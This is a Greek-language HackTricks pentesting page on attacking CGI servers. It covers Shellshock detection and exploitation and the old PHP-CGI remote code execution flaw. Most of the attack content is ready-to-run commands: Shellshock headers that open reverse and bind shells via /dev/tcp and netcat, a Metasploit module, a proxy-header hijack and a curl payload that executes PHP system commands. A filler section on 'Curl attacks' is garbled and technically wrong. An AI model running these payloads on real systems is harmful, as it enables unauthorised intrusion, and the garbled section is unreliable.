CGI

Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Πληροφορίες

Τα CGI scripts είναι perl scripts, οπότε, αν έχετε παραβιάσει έναν διακομιστή που μπορεί να εκτελεί .cgi scripts, μπορείτε να ανεβάσετε έναν αντίστροφο shell του perl (/usr/share/webshells/perl/perl-reverse-shell.pl), αλλάξτε την κατάληξη από .pl σε .cgi, δώστε δικαιώματα εκτέλεσης (chmod +x) και αποκτήστε πρόσβαση στο αντίστροφο shell από τον περιηγητή για να το εκτελέσετε. Για να ελέγξετε για ευπάθειες CGI συνιστάται να χρησιμοποιήσετε nikto -C all (και όλα τα πρόσθετα)

ShellShock

Το ShellShock είναι μια ευπάθεια που επηρεάζει το ευρέως χρησιμοποιούμενο κέλυφος εντολών Bash σε λειτουργικά συστήματα βασισμένα σε Unix. Στοχεύει τη δυνατότητα του Bash να εκτελεί εντολές που περνούν από εφαρμογές. Η ευπάθεια βρίσκεται στην επεξεργασία των μεταβλητών περιβάλλοντος, που είναι δυναμικές ονομασμένες τιμές που επηρεάζουν τον τρόπο λειτουργίας των διεργασιών σε έναν υπολογιστή. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό προσαρτώντας κακόβουλο κώδικα στις μεταβλητές περιβάλλοντος, ο οποίος εκτελείται κατά τη λήψη της μεταβλητής. Αυτό επιτρέπει στους επιτιθέμενους να πιθανώς παραβιάσουν το σύστημα.

Εκμεταλλευόμενοι αυτήν την ευπάθεια η σελίδα μπορεί να εμφανίσει ένα σφάλμα.

Μπορείτε να ανακαλύψετε αυτήν την ευπάθεια παρατηρώντας ότι χρησιμοποιεί μια παλιά έκδοση Apache και cgi_mod (με φάκελο cgi) ή χρησιμοποιώντας nikto.

Δοκιμή

Οι περισσότερες δοκιμές βασίζονται στο να εκτυπώνουν κάτι και να αναμένουν ότι αυτό το string θα επιστραφεί στην απόκριση του ιστοτόπου. Εάν υποψιάζεστε ότι μια σελίδα μπορεί να είναι ευπάθης, αναζητήστε όλες τις σελίδες cgi και δοκιμάστε τις.

Nmap

nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi

Curl (αντανακλαστικό, τυφλό και εκτός ζώνης)

Ο Curl είναι ένα εργαλείο γραμμής εντολών που χρησιμοποιείται για την αποστολή και λήψη δεδομένων μέσω πρωτοκόλλων δικτύου, όπως το HTTP, το HTTPS και το FTP. Μπορεί να χρησιμοποιηθεί για την εκτέλεση αντανακλαστικών, τυφλών και εκτός ζώνης επιθέσεων.

Οι αντανακλαστικές επιθέσεις Curl εκμεταλλεύονται την αδυναμία επικύρωσης εισόδου από τον εξυπηρετητή, προκαλώντας την εκτέλεση κακόβουλου κώδικα στον πελάτη. Οι τυφλές επιθέσεις Curl δεν εμφανίζουν άμεση ανταπόκριση από τον εξυπηρετητή, αλλά μπορούν να εκμεταλλευτούν την ανάλυση της απόκρισης για να ανακτήσουν πληροφορίες. Οι επιθέσεις εκτός ζώνης Curl εκμεταλλεύονται την αναφορά σε έναν εξωτερικό εξυπηρετητή για την αποστολή δεδομένων.

Για να εκτελέσετε μια επίθεση Curl, μπορείτε να χρησιμοποιήσετε την εντολή curl ακολουθούμενη από τις απαραίτητες παραμέτρους και τον στόχο της επίθεσης. Μπορείτε επίσης να χρησιμοποιήσετε διάφορες επιλογές για να προσαρμόσετε τη συμπεριφορά του Curl και να εκμεταλλευτείτε τυχόν ευπάθειες στον εξυπηρετητή.

Παρακάτω παρέχονται παραδείγματα επιθέσεων Curl για αντανακλαστικές, τυφλές και εκτός ζώνης επιθέσεις:

Αντανακλαστική Επίθεση Curl

curl http://example.com/?param=<script>alert('XSS')</script>

Τυφλή Επίθεση Curl

curl http://example.com/?param=1;SELECT%20*%20FROM%20users

Επίθεση εκτός ζώνης Curl

curl http://example.com/ -d "data=$(curl http://attacker.com/)"

Είναι σημαντικό να είστε προσεκτικοί κατά την εκτέλεση επιθέσεων Curl, καθώς μπορεί να προκληθεί ζημιά στον εξυπηρετητή ή να παραβιαστεί η ασφάλεια του συστήματος. Πάντα εκτελείτε επιθέσεις μόνο σε συστήματα για τα οποία έχετε την άδεια να το κάνετε και πάντα τηρείτε τους νόμους περί κυβερνοεγκληματικότητας.

# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh

Shellsocker

python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi

Εκμεταλλευτείτε

Η εκμετάλλευση (exploit) είναι η διαδικασία της αξιοποίησης μιας αδυναμίας ή ευπάθειας σε ένα σύστημα, με σκοπό την απόκτηση μη εξουσιοδοτημένης πρόσβασης ή την εκτέλεση κακόβουλου κώδικα. Οι εκμεταλλεύσεις μπορούν να αξιοποιήσουν ευπάθειες σε λογισμικό, πρωτόκολλα, δικτυακά πρωτόκολλα ή αδυναμίες στη διαμόρφωση του συστήματος.

Οι εκμεταλλεύσεις μπορούν να χρησιμοποιηθούν για να αποκτηθεί πρόσβαση σε ένα σύστημα, να αποκτηθούν προνόμια διαχειριστή ή να εκτελεστεί κακόβουλος κώδικας. Οι εκμεταλλεύσεις μπορούν να είναι είτε αυτόματες, όπου ο επιτιθέμενος χρησιμοποιεί ένα εργαλείο εκμετάλλευσης, είτε χειροκίνητες, όπου ο επιτιθέμενος αναπτύσσει έναν εξατομικευμένο κώδικα εκμετάλλευσης.

Οι εκμεταλλεύσεις μπορούν να αξιοποιήσουν διάφορες ευπάθειες, όπως αδυναμίες ελέγχου εισόδου, αδυναμίες αυθεντικοποίησης, αδυναμίες αποθήκευσης δεδομένων, αδυναμίες επικοινωνίας και πολλές άλλες. Οι εκμεταλλεύσεις μπορούν να είναι πολύ επικίνδυνες και να προκαλέσουν σοβαρές ζημιές σε ένα σύστημα, γι 'αυτό είναι σημαντικό να λαμβάνονται μέτρα ασφαλείας για την πρόληψη των εκμεταλλεύσεων.

#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run

Διαμεσολάβηση (MitM) στις αιτήσεις του διακομιστή ιστού

Το CGI δημιουργεί μια μεταβλητή περιβάλλοντος για κάθε κεφαλίδα στο αίτημα HTTP. Για παράδειγμα: η "host:web.com" δημιουργείται ως "HTTP_HOST"="web.com"

Καθώς η μεταβλητή HTTP_PROXY μπορεί να χρησιμοποιηθεί από τον διακομιστή ιστού, δοκιμάστε να στείλετε μια κεφαλίδα που περιέχει: "Proxy: <IP_επιτιθέμενου>:<ΘΥΡΑ>" και αν ο διακομιστής πραγματοποιήσει οποιαδήποτε αίτηση κατά τη διάρκεια της συνεδρίας, θα μπορείτε να καταγράψετε κάθε αίτηση που πραγματοποιείται από τον διακομιστή.

Παλιό PHP + CGI = RCE (CVE-2012-1823, CVE-2012-2311)

Βασικά, αν το cgi είναι ενεργό και το php είναι "παλιό" (<5.3.12 / < 5.4.2), μπορείτε να εκτελέσετε κώδικα. Για να εκμεταλλευτείτε αυτήν την ευπάθεια, πρέπει να έχετε πρόσβαση σε κάποιο αρχείο PHP του διακομιστή ιστού χωρίς να στέλνετε παραμέτρους (ιδιαίτερα χωρίς να στέλνετε τον χαρακτήρα "="). Στη συνέχεια, για να δοκιμάσετε αυτήν την ευπάθεια, μπορείτε να αποκτήσετε πρόσβαση, για παράδειγμα, στο /index.php?-s (σημειώστε το -s) και ο πηγαίος κώδικας της εφαρμογής θα εμφανιστεί στην απόκριση.

Στη συνέχεια, για να αποκτήσετε RCE, μπορείτε να στείλετε αυτό το ειδικό αίτημα: /?-d allow_url_include=1 -d auto_prepend_file=php://input και ο κώδικας PHP που θα εκτελεστεί στο σώμα του αιτήματος. Παράδειγμα:

curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"

Περισσότερες πληροφορίες σχετικά με την ευπάθεια και δυνητικές εκμεταλλεύσεις: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, CTF Writeup Example.

Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated